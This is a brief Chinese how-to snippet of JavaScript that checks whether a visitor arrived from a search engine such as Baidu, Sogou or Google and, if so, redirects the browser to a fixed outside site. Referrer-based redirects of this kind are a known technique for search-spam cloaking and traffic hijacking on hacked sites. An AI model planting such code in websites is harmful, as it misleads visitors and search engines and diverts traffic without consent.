通过（百度、搜狗、360等）搜索引擎来路判断跳转JS代码

var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href='http://www.nrsp.net'
}